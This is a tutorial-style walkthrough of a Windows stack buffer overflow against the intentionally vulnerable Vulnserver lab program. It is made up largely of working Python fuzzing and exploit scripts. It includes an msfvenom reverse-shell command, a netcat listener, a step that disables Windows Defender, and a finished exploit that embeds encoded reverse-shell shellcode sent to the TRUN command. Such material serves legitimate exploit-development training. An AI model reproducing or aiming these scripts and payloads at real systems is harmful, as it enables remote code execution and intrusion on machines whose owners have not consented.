For the full tutorial and lectures on BOF it is highly recommended to take the PEH course from TCM-SECURITY.
- You can find all the necessary files in the
scriptsfolder. - need a Windows machine on a VM (get it for free from Google: Microsoft Evaluation Center)
- download and install Immunity Debugger (goes on the Win machine): Download Link and here's the Main Website
- download from Github: mona and put it in the
- kali of course
- scripts from the
./scriptsfolder
- In the Stack we are overflowing the buffer space to reach the EIP
- We can use the EIP to point into directions that we instruct
- Spiking
- Fuzzing
- Finding the Offset
- Overwriting the EIP
- Finding Bad Characters
- Generating Shellcode
- Root
- disable Windows Defender overall (Real Time Protection OFF)
- We need to run Immunity Debugger as Admin
- Run your vulnerable server as Admin as well (You can get one from Vulnserver if needed) I'll use Vulnserver as an example from now on.
- let's connect to our server from kali:
nc <vulnserver's IP> <PORT> - Spike will help to find which command is vulnerable
- If we can overflow it and it crashes it's vulnerable
- We'll need to use
generic_send_tcpfrom kali and our spike script
$_readline();
$_string("STATS ");
$_string_variable("0");
- we will update this script for all the different commands that we had access to when connecting to Vulnserver with nc
- whichever crashes we'll focus on that command
- in these notes we'll assume that we found the TRUN command and it's vulnerable
- when TRUN spike crashes the servers make sure you check out how the server received the command and use it like that in your python script that will come into play later on. In this example it was:
TRUN /.:/ - EBP shows 41414141 which is hex for A
- it's like spiking but now that we now which command is vulnerable we're going to attack that specific command
- if you crashed it attach Vulnserver back and restart the service (little play button)
⚠️ This script is a bit different from what was shown during the course, but it's more up to date and is for Python3- change: prefix to TRUN /.:/ (in this example) and IP, PORT of Vulnserver
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.239.130"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
- don't forget to
chmod +x fuzzing.py - once we run this script we'll know the program crashes at what bytes (in this example it crashes at 2700 bytes)
- we round it up, we crashed at around 3000 bytes
- let's find the EIP value
- using Metasploit pattern create with -l (for length) and our rounded up bytes where the server crashed which was 3000
/usr/share/metasploit-framework/tools/exploit/patter_create.rb -l 3000
The following output will be sent to Vulnserver:
- copy the output and modify the script where
string = prefix + "A" * 100tostring = prefix + "<metasploit output>" - this time when the server crashes we'll see the value on the EIP and we'll use Metasploit again with that specific patter offset value
- for the sake of example let's say the EIP value is:
368F4337 - in Metasploit:
/user/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 368F4337- output will show the exact match for offset (in this example it's 2003 bytes)
- it tells us the at the exactly 2003 bytes we can control the EIP, now let's overwrite it
- continuing with the exploit.py script
offset = 2003overflow = "A" * offset + "B" * 4after running the script we should see that the value for the EIP as 424242 which is "B" in hex code
Bad Char Generator (Just copy the bad chars and paste it into the script)
- paste bad chars to
retn = "<bad chars here>" - by default
\x00the null byte acts up so remove fromretn - check ESP hexdump
- Make note of the bad chars!
- identify bad characters, everything that's out of order is a bad char
- every time you have consecutive bad chars we only care for the first one, however I would take out both since the exploit will still work (at least on this basic level)
- we are looking for a .dll or something similar inside of the program that has no memory protections, meaning no DEP no ASLR no SEH
- mona modules helps us to achieve this
- copy mona modules into
This PC: Program Files: Program (x86): Immunity INC: Immunity Debugger: PyCommands - in Immunity Debugger in the command bar on the bottom:
!mona modules - in the popup window we want to check for all false in protection settings in something that is attached to Vulnserver
- now we need to find the jump code, go to kali terminal and
locate nasm_shell /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb- essentially we're trying to convert Assembly language into hex code
JMP ESPand you'll see this output:FFE4- back to mona:
!mona find -s "\xffe4" -m essfunc.dll - we're looking for the return addresses
- our found return address is 625011af
- modify in exploit.py: `overflow = "A" * offset
- modify in exploit.py:
retn = "\xaf\x11\x50\x62" - so now we're gonna have the EIP via JUMP CODE and then the JUMP CODE will go into malicious code
- if you noticed it we are using the Jump Code in reverse because when we talk about x86 architecture we're doing something called Little Endian format. The x86 architecture actually stores the low order byte at the lowest address and the high order byte at the highest address, so we have to put our code in reverse order.
- this will throw the same error as before but it will also throw a jump point and we can use Immunity Debugger to catch this
- we should see the following output, meaning that we actually jumped to the ESP
- select it and hit F2 (it will turn it blue)
- with that we just set a break point so it will not execute any further, it will break and wait for further instructions from us and that's what we want
- we're not gonna jump to anywhere and that doesn't matter, all we need to know is that our break point works
- to test it hit play in Immunity Debugger and run the exploit.py script. The program will stop and break at our break point
- we control the EIP now, we need to generate some shell code and point directly to it and we're in the home run!
- we're gonna use msfvenom to generate our shell code
msfvenom -p windows/shell_reverse_tcp LHOST=<kali IP> LPORT=<kali port> EXITFUNC=thread -f c -a x86 -b "\x00"pfor payload,ffor file type (export it in C),afor architectureband for bad bytes (from your notes you made earlier)- copy generated shell code into our exploit.py script (we don't need the
:at the end) - always note the payload size, it's not gonna matter now but could matter later in a more advanced exploit development
- paste it into `payload = ()
- now we need to add some nobs (padding), update exploit.py:
padding = "\x90" * 32 - if we didn't have padding it is possible that our shell code wouldn't work, we might not get code execution on the computer because something interfered here so we added padding to keep it safe (you might have to play around with the
32value - fire up netcat on the port you selected in msfvenom:
nc -lnvp <PORT> - run Vulnserver as Admin
- run exploit.py and see your shell coming through on your nc listener
- you may need to do byte encoding
#!/usr/bin/python3
import sys, socket
from time import sleep
buffer = "A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.4.104',9999))
payload = "TRUN /.:/" + buffer
s.send((payload.encode()))
s.close()
sleep(1)
buffer = buffer + "A"*100
except:
print ("Fuzzing crashed at %s bytes" % str(len(buffer)))
sys.exit()
#!/usr/bin/python3
import sys, socket
from time import sleep
offset = "" #offset here
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.4.104',9999))
payload = "TRUN /.:/" + offset
s.send((payload.encode()))
s.close()
except:
print ("Error connecting to server")
sys.exit()
#!/usr/bin/python3
import sys, socket
from time import sleep
shellcode = "A" * 2003 + "B" * 4
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.4.104',9999))
payload = "TRUN /.:/" + shellcode
s.send((payload.encode()))
s.close()
except:
print ("Error connecting to server")
sys.exit()
- create a folder called
monainC:\ - declare in Immunity Debugger that you want mona to save data in that folder
!mona config -set workingfolder c:\mona- now we can generate a bad characters list with mona
!mona bytearray -cpb "\x00"generating a payload list for us that excludes the null byte- if you go to your mona folder you'll see that it puts a nice text file in it
- you can copy it and paste it into your script, don't need to go out and look for bad chars on websites
- mona also creates a .bin file which is handy when we compare this array to find bad chars
badchars = <output from mona>
#!/usr/bin/python3
import sys, socket
from time import sleep
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13"
"\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39"
"\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72"
"\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85"
"\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab"
"\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe"
"\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1"
"\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
shellcode = "A" * 2003 + "B" * 4 + badchars
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.4.104',9999))
payload = "TRUN /.:/" + shellcode
s.send((payload.encode()))
s.close()
except:
print ("Error connecting to server")
sys.exit()
- now you don't have to review the bad chars manually, instead:
!mona compare -f c:\mona\bytearray.bin -a 010AF9C8where 010AF9C8 is the ESP address- you'll see the results in a pop up window
!mona moduleswhen we identified the modules that had their values set to False, instead we could just find the jump address with mona!mona jmp -r ESP -m "essfunc.dll"
- the solution is manually byte encode it like this:
#!/usr/bin/python3
import sys, socket
from time import sleep
overflow = (b"\xb8\x5c\x1e\x35\x96\xd9\xc6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
b"\x52\x31\x43\x12\x03\x43\x12\x83\x9f\x1a\xd7\x63\xe3\xcb\x95"
b"\x8c\x1b\x0c\xfa\x05\xfe\x3d\x3a\x71\x8b\x6e\x8a\xf1\xd9\x82"
b"\x61\x57\xc9\x11\x07\x70\xfe\x92\xa2\xa6\x31\x22\x9e\x9b\x50"
b"\xa0\xdd\xcf\xb2\x99\x2d\x02\xb3\xde\x50\xef\xe1\xb7\x1f\x42"
b"\x15\xb3\x6a\x5f\x9e\x8f\x7b\xe7\x43\x47\x7d\xc6\xd2\xd3\x24"
b"\xc8\xd5\x30\x5d\x41\xcd\x55\x58\x1b\x66\xad\x16\x9a\xae\xff"
b"\xd7\x31\x8f\xcf\x25\x4b\xc8\xe8\xd5\x3e\x20\x0b\x6b\x39\xf7"
b"\x71\xb7\xcc\xe3\xd2\x3c\x76\xcf\xe3\x91\xe1\x84\xe8\x5e\x65"
b"\xc2\xec\x61\xaa\x79\x08\xe9\x4d\xad\x98\xa9\x69\x69\xc0\x6a"
b"\x13\x28\xac\xdd\x2c\x2a\x0f\x81\x88\x21\xa2\xd6\xa0\x68\xab"
b"\x1b\x89\x92\x2b\x34\x9a\xe1\x19\x9b\x30\x6d\x12\x54\x9f\x6a"
b"\x55\x4f\x67\xe4\xa8\x70\x98\x2d\x6f\x24\xc8\x45\x46\x45\x83"
b"\x95\x67\x90\x04\xc5\xc7\x4b\xe5\xb5\xa7\x3b\x8d\xdf\x27\x63"
b"\xad\xe0\xed\x0c\x44\x1b\x66\xf3\x31\x27\x31\x9b\x43\x27\xac"
b"\x07\xcd\xc1\xa4\xa7\x9b\x5a\x51\x51\x86\x10\xc0\x9e\x1c\x5d"
b"\xc2\x15\x93\xa2\x8d\xdd\xde\xb0\x7a\x2e\x95\xea\x2d\x31\x03"
b"\x82\xb2\xa0\xc8\x52\xbc\xd8\x46\x05\xe9\x2f\x9f\xc3\x07\x09"
b"\x09\xf1\xd5\xcf\x72\xb1\x01\x2c\x7c\x38\xc7\x08\x5a\x2a\x11"
b"\x90\xe6\x1e\xcd\xc7\xb0\xc8\xab\xb1\x72\xa2\x65\x6d\xdd\x22"
b"\xf3\x5d\xde\x34\xfc\x8b\xa8\xd8\x4d\x62\xed\xe7\x62\xe2\xf9"
b"\x90\x9e\x92\x06\x4b\x1b\xb2\xe4\x59\x56\x5b\xb1\x08\xdb\x06"
b"\x42\xe7\x18\x3f\xc1\x0d\xe1\xc4\xd9\x64\xe4\x81\x5d\x95\x94"
b"\x9a\x0b\x99\x0b\x9a\x19")
shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62" + b"\x90" * 16 + overflow
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.4.104',9999))
payload = b"TRUN /.:/" + shellcode
s.send((payload))
s.close()
except:
print ("Error connecting to server")
sys.exit()